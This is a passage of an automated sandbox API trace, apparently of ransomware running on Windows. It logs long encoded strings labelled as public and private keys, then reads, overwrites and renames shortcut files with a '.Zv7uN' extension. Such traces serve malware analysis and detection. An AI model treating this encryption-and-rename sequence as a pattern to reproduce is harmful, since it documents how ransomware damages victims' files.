PCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0084.811] GetCurrentThreadId () returned 0xa30 [0084.811] GetCurrentThreadId () returned 0xa30 [0084.811] GetCurrentThreadId () returned 0xa30 [0084.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.812] GetCurrentThreadId () returned 0xa30 [0084.812] GetCurrentThreadId () returned 0xa30 [0084.812] GetCurrentThreadId () returned 0xa30 [0084.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZYdqwrH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zydqwrh.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.812] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.812] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.813] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x370 [0084.813] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.813] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x370, lpOverlapped=0x0) returned 1 [0084.815] CloseHandle (hObject=0x124) returned 1 [0084.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZYdqwrH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zydqwrh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.817] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x370, lpOverlapped=0x0) returned 1 [0084.819] CloseHandle (hObject=0x124) returned 1 [0084.820] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZYdqwrH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zydqwrh.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZYdqwrH.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zydqwrh.lnk.zv7un")) returned 1 [0084.821] GetCurrentThreadId () returned 0xa30 [0084.821] GetCurrentThreadId () returned 0xa30 [0084.821] GetCurrentThreadId () returned 0xa30 [0084.821] GetCurrentThreadId () returned 0xa30 [0084.821] GetCurrentThreadId () returned 0xa30 [0084.821] GetCurrentThreadId () returned 0xa30 [0084.821] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0061880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe37b9800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe37b9800, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Zyj26cHu tegBHSw1Uj.lnk", cAlternateFileName="ZYJ26C~1.LNK")) returned 1 [0084.821] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.821] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zyj26cHu tegBHSw1Uj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zyj26chu tegbhsw1uj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0061880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe37b9800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe37b9800, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe76)) returned 1 [0084.822] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zyj26cHu tegBHSw1Uj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zyj26chu tegbhsw1uj.lnk")) returned 0x20 [0084.822] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zyj26cHu tegBHSw1Uj.lnk", dwFileAttributes=0x80) returned 1 [0084.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.825] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.826] GetCurrentThreadId () returned 0xa30 [0084.826] GetCurrentThreadId () returned 0xa30 [0084.826] GetCurrentThreadId () returned 0xa30 [0084.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 